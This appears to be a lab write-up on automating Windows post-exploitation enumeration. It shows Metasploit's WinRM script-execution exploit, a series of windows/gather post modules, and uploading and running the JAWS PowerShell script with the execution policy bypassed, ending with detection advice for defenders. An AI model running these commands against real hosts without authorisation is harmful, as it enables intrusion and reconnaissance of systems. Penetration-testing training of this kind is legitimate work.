Automating Windows Local Enumeration

Classification: Host & Network Penetration Testing / Post-Exploitation
Target: Windows host (WinRM on 5985)

1. Executive Summary

Rather than enumerate by hand, we automate it. After a WinRM foothold, we run the windows/gather/* Metasploit post modules (privileges, logged-on users, VM check, installed apps, domain computers, patches, shares), then upload and run JAWS (Just Another Windows Script) for a full automated enumeration report.

2. Foothold (WinRM)

db_nmap -sV <target>
db_nmap -sV -p5985 <target>
use exploit/windows/winrm/winrm_script_exec
set FORCE_VBS true
exploit

Nmap scans

Port 5985 (WinRM)

winrm_script_exec configured (1)

Meterpreter session (2)

Drives connected

3. Metasploit Post Modules

run post/windows/gather/win_privs

win_privs

run post/windows/gather/enum_logged_on_users

enum_logged_on_users

run post/windows/gather/checkvm

checkvm

run post/windows/gather/enum_applications

enum_applications

run post/windows/gather/enum_computers

enum_computers

run post/windows/gather/enum_patches

enum_patches

run post/windows/gather/enum_shares

enum_shares

4. JAWS Script

JAWS — what it enumerates

Uploading and running the PowerShell script, outputting to a file.

mkdir C:\Temp

Copying the script (1)

$Creating C:\Temp (2)$

Uploading JAWS (3)

powershell.exe -ExecutionPolicy Bypass -File jaws-enum.ps1 -OutputFilename JAWS-Enum.txt

Running JAWS (1)

JAWS output (2)

Downloading the report.

Downloading the report (1)

Hundreds of lines of enumeration (2)

5. Notes

Automated enumeration (JAWS, WinPEAS, PrivescCheck) quickly surfaces privesc paths — but it is noisy; defenders should monitor for mass enumeration and script execution from unusual processes.